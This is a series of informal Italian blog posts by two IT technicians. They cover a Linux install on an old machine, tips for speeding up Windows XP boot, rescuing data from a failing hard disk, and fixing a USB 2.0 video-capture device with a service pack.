Anche se la ram è molto scarsa, per cui usa dello spazio swap su disco per compensare, devo dire che è una distribuzione carina, non so se per i driver delle periferiche sia facile trovarli, ma anche per una solo testo penso possa andare bene.
Unico inconveniente è stato nel passo successivo, infatti al riavvio della macchina, non è più riuscito a partire il sistema, a causa, come dicevamo prima, dello scarso quantitativo di memoria… e consiglio di aggiungere almeno 64 mb per avere un avvio discreto…
Ovviamente tutti i sistemi operativi hanno dei pregi e dei difetti, da questo esperimento però ho nota che linux, sfruttando al meglio le caratteristiche hardware, riesce ad usare solo risorse che ritiene necessarie al contrario dei sistemi windows…
L'esperimento posso tutto sommato considerarlo riuscito.
Per saperne di più visitate questi link che non vogliono essere pubblicità al sistema operativo in questione, ma semplici approfondimenti essendo i link della casa produttrice


uno screenshot del desktop

Windows Xp si avviava trooooppo lentamente

Sono sicuro che il problema in oggetto è comune a molti: dopo qualche mese di intensa attività tra installazioni e configurazioni varie XP per avviarsi impiega molto più tempo che nei primi giorni di vita...perchè? Questo non so spiegarmelo ma per tutti coloro che volessero tornare a una velocità di caricamento ottimale ecco la procedura da seguire:

1)Deframmentate il vostro hard disk usando l'utility fornita in dotazione (basta scrivere su esegui il comando dfrg.msc)

2)Scaricate il programmino Bootvis.exe (non si trova più sul sito MS, fortunatamente ne ho trovato una copia perfettamente funzionante qui) e dopo averlo installato lanciatelo ed eseguite la funzione Optimize sotto il menu strumenti (tools)

3)A questo punto (dopo il necessario riavvio della macchina) lanciate da esegui il seguente comando 'Rundll32.exe advapi32.dll,ProcessIdleTasks' : potrebbe impiegare diversi minuti anche se nel mio pc la cosa si è risolta in meno di 5.

4)Adesso rimuovete tutti i programmini non necessari che si avviano allo startup del sistema : date un'occhiata alle chiavi di registro presenti in HKLM->Software->Microsoft->Windows->Run and HKCU->Software->Microsoft->Windows->Run e ai link presenti sotto 'esecuzione automatica'

5) Cambiate lo stato di avvio dei servizi di sistema lasciando su 'automatico' solo quelli realmente necessari

6) A questo punto (se non l'avete già) ripartizionate il vs disco fisso affinchè possa contenere una partizione fat32 da assegnare successivamente al file di SWAP (la regola generale è che la dimensione di questa partizione sia pari a 2,5 volte la RAM installata sul sistema); dopo la creazione ricordatevi di modificare le impostazioni della memoria virtuale sotto la scheda del pannello di controllo sitema->avanzate->prestazioni...

7) a questo punto ripetete i passi da 1 a 3...



In una situazione ideale Xp dovrebbe avviarsi in circa 20 secondi (cioè da quando vedete il primo logo di XP a quando realmente si riesce ad usare il sistema per lanciare, ad esempio, un programma come Internet Explorer oppure Outlook Express.

Vi garantisco che il mio sistema (un'athlon XP 3000 con 512MB di ram e un disco da 80GB prima di questa procedura impiegava circa 4 MINUTI per essere utilizzabile ora siamo nell'ordine dei 30 secondi....non c'è male!!!!

Staminkia!!! fortuna o miracolo?!

ore 17.00 Incredibile abbiamo avuto un culo pazzesco...dopo aver smontato l'hard disk (un IBM DESKSTAR da 40GB) che al bios, non dava più segni di vita ,abbiamo eseguito un rito scaramantico con annessa preghiera profana (al dio degli hard disk) e diversi pugni dati al disco...sicuramente non ci crederete ma appena abbiamo ricollegato il disco al bios questo è stato correttamente rilevato dallo stesso!!!!!!!! Inutile dirvi che non appena ci siamo ripresi dallo shock di questo evento --culato-- ci siamo subito organizzati per fare un immagine dei dati importanti sul disco da condividere su una cartella samba in rete e nel frattempo ci siamo procurati un disco da 40GB Maxtor sul quale abbiamo riversato un'immagine completa del disco --miracolato--! Dal momento scrivo dal sistema operativo caricato dall'immagine presente sul disco Maxtor...tutto bene, stiamo solo facendo una deframmentazione utilizzando diskkeeper (lo stato del disco era pietoso)...minkia a 1 giorno dal riposo del sbata vedete che cosa ci capita...oggi straordinari: ci consola solo il fatto che siamo riusciti a salvare tutta la pianificazione commerciale degli ultimi 3 anni del nostro cliente..(e ci siamo salvati il culo pure noi mi sa...)

Mattinata movimentata!!! Backup al 50%!!!

Ore 12.30… “Semu nn’ammierda!!!!” ( eheerg, scusate l’espressione, ma rende l’idea) Questa l’esclamazione suscitata dopo aver capito che il pc in cui risiedevano dati importati della azienda in cui lavoro, ha cessato di vivere.Praticamente ad un certo punto è spuntata una schermata grigia… il segnale non era tanto positivo.. infatti… immediatamente… entro nel bios per vedere se l’hd era ancora lì.. ma sfortunatamente in Primary master, mi segnalava un –Not Installed- questo è stato l’inizio della fine! Il backup dei dati per questa macchina era previsto, tramite un server linux, ed infatti proprio in quel momento ne era uno in corso… Caso volle che dopo circa 2 ore di salvataggi… il pc client si fermò… con una conseguente chiamata sul mio telefono dell’operatore di quel pc… Ho provato nuovamente dopo pochi minuti a spegnere e riaccendere il pc, per vedere se fosse stato dovuto tutto ciò ad un surriscaldamento, ma nulla… quindi l’ho spento ed assieme al mio collega x stiamo tutt’ora cercando di estrapolare i dati dal server linux… To be continued…

Giornata lunga e calda

Oggi giornata particolarmente --calda--...mi sono ritrovato a lavorare sul pc di un amico con l'hobby del video editing, che da qualche giorno ha acquistato un aggegino che gli consente di acquisire da una sorgente video analogica attraverso l'USB.
L'aggeggio in questione è un CAMEO GRABSTER 200 della Terratec...in poche parole questo apparecchio per fare una buona acquisizione video vuole un ingresso USB 2.0; il tizio aveva acquistato anche una scheda PCI adatta allo scopo ma, anche se fisicamente era installata in maniera corretta, mandava in crash il sistema ad ogni acquisizione....e il mio telefono ha quindi cominciato a squillare....GRRRR ....che caldo....
Comunque l'amico mi ha raggiunto in laboratorio dove dopo la prima oretta di prove sudate (facevano si è no 30 gradi oggi) mi sono reso conto che il tipo era dal 2002 che non faceva un aggiornamento della macchina (un windows XP Home)...e io allora ho pensato --Staminkia grazie al zazzo se non funziona: l'usb 2.0 se non gli scavalli un bel service pack 2.0 sulla makkina mica ti funge!!!...insomma dopo 2 o 3 ore circa di aggiornamenti vari dal sito microcess sono riuscito ad installare e a far funzionare correttamente l'acquisizione...

Benvenuti!!!

Nasce oggi staminkia.com ,con lo scopo di raccogliere le esperienze ma soprattutto gli sfoghi di 2 operatori colleghi ed amici (x e y) del settore IT.
Quasi quotidianamente alle prese con problematiche e richieste assurde da parte dei loro clienti tanto da indurli a realizzare questo sito per raccontarle ...
Ma su staminkia.com troverai anche tanti esperimenti (riusciti o meno) condotti dagli stessi x e y durante i momenti di relativa 'calma' .
Il perchè del nome del sito sta proprio in questo aspetto del lavoro di ogni giorno : ''Staminkia!!!'' è l'espressione di stupore che quasi quotidianamente accompagna i racconti che ognuno fa all'altro a fine giornata....racconti che da oggi diverranno i contenuti di questo sito....
Buona lettura!